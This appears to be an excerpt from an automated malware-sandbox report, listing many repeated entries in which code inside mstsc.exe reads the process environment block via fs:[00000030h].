Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046754E0 mov eax, dword ptr fs:[00000030h]	5_2_046754E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467E4EF mov eax, dword ptr fs:[00000030h]	5_2_0467E4EF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467E4EF mov eax, dword ptr fs:[00000030h]	5_2_0467E4EF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF4FD mov eax, dword ptr fs:[00000030h]	5_2_046FF4FD
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046464F0 mov eax, dword ptr fs:[00000030h]	5_2_046464F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467A4F0 mov eax, dword ptr fs:[00000030h]	5_2_0467A4F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467A4F0 mov eax, dword ptr fs:[00000030h]	5_2_0467A4F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046694FA mov eax, dword ptr fs:[00000030h]	5_2_046694FA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046614C9 mov eax, dword ptr fs:[00000030h]	5_2_046614C9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046614C9 mov eax, dword ptr fs:[00000030h]	5_2_046614C9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046614C9 mov eax, dword ptr fs:[00000030h]	5_2_046614C9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046614C9 mov eax, dword ptr fs:[00000030h]	5_2_046614C9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046614C9 mov eax, dword ptr fs:[00000030h]	5_2_046614C9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F4D0 mov eax, dword ptr fs:[00000030h]	5_2_0466F4D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046644D1 mov eax, dword ptr fs:[00000030h]	5_2_046644D1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046644D1 mov eax, dword ptr fs:[00000030h]	5_2_046644D1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046424A2 mov eax, dword ptr fs:[00000030h]	5_2_046424A2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046424A2 mov ecx, dword ptr fs:[00000030h]	5_2_046424A2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CD4A0 mov ecx, dword ptr fs:[00000030h]	5_2_046CD4A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CD4A0 mov eax, dword ptr fs:[00000030h]	5_2_046CD4A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CD4A0 mov eax, dword ptr fs:[00000030h]	5_2_046CD4A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046744A8 mov eax, dword ptr fs:[00000030h]	5_2_046744A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D84BB mov eax, dword ptr fs:[00000030h]	5_2_046D84BB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467E4BC mov eax, dword ptr fs:[00000030h]	5_2_0467E4BC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04640485 mov ecx, dword ptr fs:[00000030h]	5_2_04640485
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467648A mov eax, dword ptr fs:[00000030h]	5_2_0467648A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467648A mov eax, dword ptr fs:[00000030h]	5_2_0467648A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467648A mov eax, dword ptr fs:[00000030h]	5_2_0467648A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467B490 mov eax, dword ptr fs:[00000030h]	5_2_0467B490
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467B490 mov eax, dword ptr fs:[00000030h]	5_2_0467B490
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CC490 mov eax, dword ptr fs:[00000030h]	5_2_046CC490
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465C560 mov eax, dword ptr fs:[00000030h]	5_2_0465C560
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465E547 mov eax, dword ptr fs:[00000030h]	5_2_0465E547
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470A553 mov eax, dword ptr fs:[00000030h]	5_2_0470A553
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04676540 mov eax, dword ptr fs:[00000030h]	5_2_04676540
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04678540 mov eax, dword ptr fs:[00000030h]	5_2_04678540
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464254C mov eax, dword ptr fs:[00000030h]	5_2_0464254C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471B55F mov eax, dword ptr fs:[00000030h]	5_2_0471B55F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471B55F mov eax, dword ptr fs:[00000030h]	5_2_0471B55F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04671527 mov eax, dword ptr fs:[00000030h]	5_2_04671527
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467F523 mov eax, dword ptr fs:[00000030h]	5_2_0467F523
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465252B mov eax, dword ptr fs:[00000030h]	5_2_0465252B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465252B mov eax, dword ptr fs:[00000030h]	5_2_0465252B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465252B mov eax, dword ptr fs:[00000030h]	5_2_0465252B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465252B mov eax, dword ptr fs:[00000030h]	5_2_0465252B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465252B mov eax, dword ptr fs:[00000030h]	5_2_0465252B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465252B mov eax, dword ptr fs:[00000030h]	5_2_0465252B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465252B mov eax, dword ptr fs:[00000030h]	5_2_0465252B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682539 mov eax, dword ptr fs:[00000030h]	5_2_04682539
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04643536 mov eax, dword ptr fs:[00000030h]	5_2_04643536
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04643536 mov eax, dword ptr fs:[00000030h]	5_2_04643536
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463753F mov eax, dword ptr fs:[00000030h]	5_2_0463753F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463753F mov eax, dword ptr fs:[00000030h]	5_2_0463753F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463753F mov eax, dword ptr fs:[00000030h]	5_2_0463753F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E507 mov eax, dword ptr fs:[00000030h]	5_2_0466E507
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B502 mov eax, dword ptr fs:[00000030h]	5_2_0463B502
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04642500 mov eax, dword ptr fs:[00000030h]	5_2_04642500
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467C50D mov eax, dword ptr fs:[00000030h]	5_2_0467C50D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467C50D mov eax, dword ptr fs:[00000030h]	5_2_0467C50D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CC51D mov eax, dword ptr fs:[00000030h]	5_2_046CC51D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04661514 mov eax, dword ptr fs:[00000030h]	5_2_04661514
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04661514 mov eax, dword ptr fs:[00000030h]	5_2_04661514
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04661514 mov eax, dword ptr fs:[00000030h]	5_2_04661514
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04661514 mov eax, dword ptr fs:[00000030h]	5_2_04661514
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04661514 mov eax, dword ptr fs:[00000030h]	5_2_04661514
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04661514 mov eax, dword ptr fs:[00000030h]	5_2_04661514
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov ecx, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov ecx, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF51B mov eax, dword ptr fs:[00000030h]	5_2_046EF51B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467A5E7 mov ebx, dword ptr fs:[00000030h]	5_2_0467A5E7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467A5E7 mov eax, dword ptr fs:[00000030h]	5_2_0467A5E7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464B5E0 mov eax, dword ptr fs:[00000030h]	5_2_0464B5E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464B5E0 mov eax, dword ptr fs:[00000030h]	5_2_0464B5E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464B5E0 mov eax, dword ptr fs:[00000030h]	5_2_0464B5E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464B5E0 mov eax, dword ptr fs:[00000030h]	5_2_0464B5E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464B5E0 mov eax, dword ptr fs:[00000030h]	5_2_0464B5E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464B5E0 mov eax, dword ptr fs:[00000030h]	5_2_0464B5E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046715EF mov eax, dword ptr fs:[00000030h]	5_2_046715EF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C55E0 mov eax, dword ptr fs:[00000030h]	5_2_046C55E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CC5FC mov eax, dword ptr fs:[00000030h]	5_2_046CC5FC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467C5C6 mov eax, dword ptr fs:[00000030h]	5_2_0467C5C6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F5C7 mov eax, dword ptr fs:[00000030h]	5_2_0463F5C7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C05C6 mov eax, dword ptr fs:[00000030h]	5_2_046C05C6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046765D0 mov eax, dword ptr fs:[00000030h]	5_2_046765D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C85AA mov eax, dword ptr fs:[00000030h]	5_2_046C85AA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046445B0 mov eax, dword ptr fs:[00000030h]	5_2_046445B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046445B0 mov eax, dword ptr fs:[00000030h]	5_2_046445B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE588 mov eax, dword ptr fs:[00000030h]	5_2_046BE588
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE588 mov eax, dword ptr fs:[00000030h]	5_2_046BE588
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467A580 mov eax, dword ptr fs:[00000030h]	5_2_0467A580
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467A580 mov eax, dword ptr fs:[00000030h]	5_2_0467A580
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04679580 mov eax, dword ptr fs:[00000030h]	5_2_04679580
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04679580 mov eax, dword ptr fs:[00000030h]	5_2_04679580
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF582 mov eax, dword ptr fs:[00000030h]	5_2_046FF582
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04672594 mov eax, dword ptr fs:[00000030h]	5_2_04672594
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CC592 mov eax, dword ptr fs:[00000030h]	5_2_046CC592
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046E7591 mov edi, dword ptr fs:[00000030h]	5_2_046E7591
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04637662 mov eax, dword ptr fs:[00000030h]	5_2_04637662
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04637662 mov eax, dword ptr fs:[00000030h]	5_2_04637662
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04637662 mov eax, dword ptr fs:[00000030h]	5_2_04637662
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C166E mov eax, dword ptr fs:[00000030h]	5_2_046C166E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C166E mov eax, dword ptr fs:[00000030h]	5_2_046C166E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C166E mov eax, dword ptr fs:[00000030h]	5_2_046C166E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04653660 mov eax, dword ptr fs:[00000030h]	5_2_04653660
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04653660 mov eax, dword ptr fs:[00000030h]	5_2_04653660
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04653660 mov eax, dword ptr fs:[00000030h]	5_2_04653660
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467666D mov esi, dword ptr fs:[00000030h]	5_2_0467666D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467666D mov eax, dword ptr fs:[00000030h]	5_2_0467666D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467666D mov eax, dword ptr fs:[00000030h]	5_2_0467666D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04640670 mov eax, dword ptr fs:[00000030h]	5_2_04640670
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682670 mov eax, dword ptr fs:[00000030h]	5_2_04682670
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682670 mov eax, dword ptr fs:[00000030h]	5_2_04682670
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04643640 mov eax, dword ptr fs:[00000030h]	5_2_04643640
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465F640 mov eax, dword ptr fs:[00000030h]	5_2_0465F640
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465F640 mov eax, dword ptr fs:[00000030h]	5_2_0465F640
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465F640 mov eax, dword ptr fs:[00000030h]	5_2_0465F640
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467C640 mov eax, dword ptr fs:[00000030h]	5_2_0467C640
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467C640 mov eax, dword ptr fs:[00000030h]	5_2_0467C640
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463D64A mov eax, dword ptr fs:[00000030h]	5_2_0463D64A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463D64A mov eax, dword ptr fs:[00000030h]	5_2_0463D64A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04675654 mov eax, dword ptr fs:[00000030h]	5_2_04675654
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467265C mov eax, dword ptr fs:[00000030h]	5_2_0467265C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467265C mov ecx, dword ptr fs:[00000030h]	5_2_0467265C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467265C mov eax, dword ptr fs:[00000030h]	5_2_0467265C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464965A mov eax, dword ptr fs:[00000030h]	5_2_0464965A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464965A mov eax, dword ptr fs:[00000030h]	5_2_0464965A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046ED62C mov ecx, dword ptr fs:[00000030h]	5_2_046ED62C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046ED62C mov ecx, dword ptr fs:[00000030h]	5_2_046ED62C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046ED62C mov eax, dword ptr fs:[00000030h]	5_2_046ED62C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04645622 mov eax, dword ptr fs:[00000030h]	5_2_04645622
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04645622 mov eax, dword ptr fs:[00000030h]	5_2_04645622
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04647623 mov eax, dword ptr fs:[00000030h]	5_2_04647623
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467C620 mov eax, dword ptr fs:[00000030h]	5_2_0467C620
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04640630 mov eax, dword ptr fs:[00000030h]	5_2_04640630
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04670630 mov eax, dword ptr fs:[00000030h]	5_2_04670630
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467F63F mov eax, dword ptr fs:[00000030h]	5_2_0467F63F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467F63F mov eax, dword ptr fs:[00000030h]	5_2_0467F63F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C8633 mov esi, dword ptr fs:[00000030h]	5_2_046C8633
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C8633 mov eax, dword ptr fs:[00000030h]	5_2_046C8633
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C8633 mov eax, dword ptr fs:[00000030h]	5_2_046C8633
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D3608 mov eax, dword ptr fs:[00000030h]	5_2_046D3608
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D3608 mov eax, dword ptr fs:[00000030h]	5_2_046D3608
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D3608 mov eax, dword ptr fs:[00000030h]	5_2_046D3608
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D3608 mov eax, dword ptr fs:[00000030h]	5_2_046D3608
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D3608 mov eax, dword ptr fs:[00000030h]	5_2_046D3608
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D3608 mov eax, dword ptr fs:[00000030h]	5_2_046D3608
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466D600 mov eax, dword ptr fs:[00000030h]	5_2_0466D600
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466D600 mov eax, dword ptr fs:[00000030h]	5_2_0466D600
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF607 mov eax, dword ptr fs:[00000030h]	5_2_046FF607
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467360F mov eax, dword ptr fs:[00000030h]	5_2_0467360F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714600 mov eax, dword ptr fs:[00000030h]	5_2_04714600
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046396E0 mov eax, dword ptr fs:[00000030h]	5_2_046396E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046396E0 mov eax, dword ptr fs:[00000030h]	5_2_046396E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464C6E0 mov eax, dword ptr fs:[00000030h]	5_2_0464C6E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046456E0 mov eax, dword ptr fs:[00000030h]	5_2_046456E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046456E0 mov eax, dword ptr fs:[00000030h]	5_2_046456E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046456E0 mov eax, dword ptr fs:[00000030h]	5_2_046456E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046666E0 mov eax, dword ptr fs:[00000030h]	5_2_046666E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046666E0 mov eax, dword ptr fs:[00000030h]	5_2_046666E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BC6F2 mov eax, dword ptr fs:[00000030h]	5_2_046BC6F2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BC6F2 mov eax, dword ptr fs:[00000030h]	5_2_046BC6F2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046406CF mov eax, dword ptr fs:[00000030h]	5_2_046406CF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046E86C2 mov eax, dword ptr fs:[00000030h]	5_2_046E86C2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470A6C0 mov eax, dword ptr fs:[00000030h]	5_2_0470A6C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466D6D0 mov eax, dword ptr fs:[00000030h]	5_2_0466D6D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047086A8 mov eax, dword ptr fs:[00000030h]	5_2_047086A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047086A8 mov eax, dword ptr fs:[00000030h]	5_2_047086A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF68C mov eax, dword ptr fs:[00000030h]	5_2_046FF68C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680 mov eax, dword ptr fs:[00000030h]	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04648690 mov eax, dword ptr fs:[00000030h]	5_2_04648690
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BD69D mov eax, dword ptr fs:[00000030h]	5_2_046BD69D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CC691 mov eax, dword ptr fs:[00000030h]	5_2_046CC691
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04652760 mov ecx, dword ptr fs:[00000030h]	5_2_04652760
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681763 mov eax, dword ptr fs:[00000030h]	5_2_04681763
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681763 mov eax, dword ptr fs:[00000030h]	5_2_04681763
